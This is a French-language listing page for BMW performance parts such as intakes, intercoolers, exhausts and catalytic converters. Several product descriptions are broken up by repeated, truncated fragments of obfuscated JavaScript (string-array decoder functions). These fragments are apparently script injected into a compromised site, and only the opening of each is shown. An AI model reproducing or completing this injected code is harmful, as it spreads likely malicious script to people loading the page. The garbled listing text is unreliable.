Admission carbone haut de gamme haute performances function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Le système d'admission F22 M2 Eventuri est un exemple parfait de notre principe «Complete System». Il démontre le parfait équilibre entre permettre une circulation d'air sans restriction avec notre boîtier de filtre ouvert et la saturation de l'air froid avec notre combinaison de godets et de conduits.
335i /435i / M135i / M235i 3.0L L6 2011/- ( F20,F30 ) Short ram intake system
Echnageur gros volume déssiné a l'origine pour la M2 F8X, mais la voiture partageant sa face avant avec bien d'autres modèle, il se monte aussi sur toute la liste ci dessous! -25° comparé a l'origine, gain immédiat de 10/15ch sur un véhicule de série, plus de 25ch sur un véhicule optimisé
Echappement inox made in UK avec differentes options disponibles. Compatible avec système de valve de série function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Inox made in UK, très belle sonorité function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Cata métal haut débit 140i 240i Compatible contrôle technique Permet d'augmenter le flux de gaz et d'augmenter la puissance et le couple function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...
Cata inox 200cel made in Italia Supersprint function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Type non résonné, made in UK Fabriqué à la commande Silencieux sport + tube avant (supprime le filtre a particule si vous en avez un. 2 roues motrices et Xdrive 2 sorties au choix, inox ou carbone Utilise le moteur de valve echappement d'origine
Les 35i et 40i possèdent un pont arrière de type ouvert. C'est l'ESP qui garde la voiture droite en agissant sur les freins. En découle une usure des plaquettes arrières plus importante et vous pourriez mieux motricer avec un vrai autobloquant! Afin de minimiser au maximum le temps d'immobilisation de votre véhicule, nous vous proposons un pont arriere...
L'échangeur de chaleur du radiateur à eau CSF est le plus avancé du marché sur le plan technologique. PLus d'infos ci dessous
Boite a air carbone haut débit avec une belle finition gloss, fabriquée en Grande Bretagne function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...